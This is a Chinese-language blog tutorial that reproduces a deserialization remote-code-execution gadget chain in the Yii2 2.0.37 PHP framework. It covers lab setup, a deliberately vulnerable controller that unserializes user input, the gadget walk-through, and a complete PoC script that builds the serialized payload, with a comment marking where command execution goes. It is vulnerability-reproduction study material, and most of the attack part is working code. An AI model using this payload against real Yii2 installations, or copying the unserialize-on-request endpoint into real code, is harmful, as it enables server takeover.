1. 环境搭建
本次使用phpstudy搭建,打开php拓展:php-openssl,注意:php版本不宜过高,7.2左右即可。
首先下载yii-basic-app,链接:https://github.com/yiisoft/yii2/releases/tag/2.0.37。
解压后放到WWW目录下,打开 /config/web.php,给17行的cookieValidationKey添加任意值,然后在该目录下运行:php yii serve --port=xxxx,然后访问http://localhos:8080。
'request' => [
// !!! insert a secret key in the following (if it is empty) - this is required by cookie validation
'cookieValidationKey' => '00',
],
2. 补充知识
2.1 Yii2调用控制器和方法。
格式是:http://url/web?r=[控制器]/[方法]
在yii2下,以test为例,控制器是TestController,方法是actionTest,控制器的Controller和方法的action都是固定的,调用时取test即可,注意是小写。
例如SiteController控制器下有一个actionLogin方法,那么想调用它则r=site/login。
2.2 Yii2中namespace extends use的用法。
namespace 表示类的路径 use 表示导入类 extends 表示继承类 例如:
namespace app\controllers; use Yii; use yii\filters\AccessControl; use yii\web\Controller; use yii\web\Response; use yii\filters\VerbFilter; use app\models\LoginForm; use app\models\ContactForm;
namespace app\controllers; 表示SiteController类是在app\controllers下。
use yii\web\Controller; 表示导入yii\web下的Controller类。
class SiteController extends Controller 表示SiteController类继承Controller类。
3. 添加入口
新建controllers/TestController.php文件。
<?php
namespace app\controllers;
use Yii;
use yii\web\Controller;
class TestController extends Controller
{
public function actionIndex(){
$name = Yii::$app->request->get('test');
return unserialize(base64_decode($name));
}
}
?>
然后就可以通过r=test/index&test=......进行反序列化。
4. 寻找POP链
我们选用yii\db\BatchQueryResult类中的__destruct作为起点,它会调用该类下的reset方法。
/vendor/yiisoft/yii2/db/BatchQueryResult.php :
public function __destruct()
{
$this->reset();
}
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}
因为_dataReader这个属性可控,我们又可以调用_dataReader下的close方法,想到去寻找含有__call魔术方法的类,然后控制_dataReader去触发__call。
全局搜索一下__call方法,在\vendor\fzaninotto\faker\src\Faker\Generator.php找到合适的方法。
\vendor\fzaninotto\faker\src\Faker\Generator.php:
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
跟进format方法,发现调用了call_user_func_array方法。call_user_func_array:调用回调函数,并把一个数组参数作为回调函数的参数,这里注意调用对象方法是
$obj = new A(); call_user_func_array([$obj, 'method'], []);
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
跟进getFormatter方法。
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
我们知道$formatter值是close,可以通过控制formattersclose去控制返回到call_user_func_array调用的方法,但是由于第二个参数是空值,所以我们要找一个无参的方法作为第一个值。function \w+\(\) ?\n?\{(.*\n)+call_user_func,找到/vendor/yiisoft/yii2/rest/CreateAction.php。
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
return $model;
}
发现checkAccess和id都是可控的,所以整个pop链就出来了。
BatchQueryResult->__destruct() BatchQueryResult->reset() Generator->close() Generator->__call() Generator->format() Generator->getFormatter() IndexAction->run()
poc:
<?php
namespace yii\rest{
class IndexAction
{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1'; //命令执行
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult
{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
5. 复现总结
重点是call_user_func_arry方法两个参数的确定,然后去寻找无参危险方法,还有其余几个链子,这里不再详细说明,贴一个链接:https://blog.csdn.net/unexpectedthing/article/details/123829375?spm=1001.2101.3001.6650.6&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-6-123829375-blog-111259943.235%5Ev43%5Epc_blog_bottom_relevance_base7&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-6-123829375-blog-111259943.235%5Ev43%5Epc_blog_bottom_relevance_base7。

评论区
评论加载中...